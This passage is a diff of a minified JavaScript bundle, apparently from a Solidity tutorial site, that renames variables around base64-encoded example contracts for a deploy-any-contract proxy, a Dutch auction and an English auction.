    3. @@ -745,7 +745,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit Refund(_id, msg.sender, bal); } } -`,yj=({prev:s,next:a})=>r.jsx(u,{version:dj,title:Ij,description:Cj,html:uj,prev:s,next:a,codes:jj}),Aj="0.8.24",mj="Deploy Any Contract",bj="Deploy Any Contract",wj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],kj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    +`,yj=({prev:s,next:a})=>r.jsx(u,{version:dj,title:Cj,description:jj,html:Aj,prev:s,next:a,codes:uj}),mj="0.8.24",bj="Deploy Any Contract",wj="Deploy Any Contract",kj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],Zj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -819,7 +819,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return abi.encodeWithSignature("setOwner(address)", _owner);
     }
 }
-
    `,Zj=({prev:s,next:a})=>r.jsx(u,{version:Aj,title:mj,description:bj,html:kj,prev:s,next:a,codes:wj}),Wj="0.8.24",Gj="Dutch Auction",Bj="An example of Dutch auction in Solidity",Vj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],fj=`

    Dutch auction for NFT.

    +`,Wj=({prev:s,next:a})=>r.jsx(u,{version:mj,title:bj,description:wj,html:Zj,prev:s,next:a,codes:kj}),Bj="0.8.24",Gj="Dutch Auction",Vj="An example of Dutch auction in Solidity",fj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Yj=`

    Dutch auction for NFT.

    Auction

    1. Seller of NFT deploys this contract setting a starting price for the NFT.
      2. @@ -888,7 +888,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Yj=({prev:s,next:a})=>r.jsx(u,{version:Wj,title:Gj,description:Bj,html:fj,prev:s,next:a,codes:Vj}),Rj="0.8.24",Xj="English Auction",vj="An example of English auction in Solidity",Nj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],Hj=`

      English auction for NFT.

      +`,Rj=({prev:s,next:a})=>r.jsx(u,{version:Bj,title:Gj,description:Vj,html:Yj,prev:s,next:a,codes:fj}),Xj="0.8.24",vj="English Auction",Nj="An example of English auction in Solidity",Hj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzd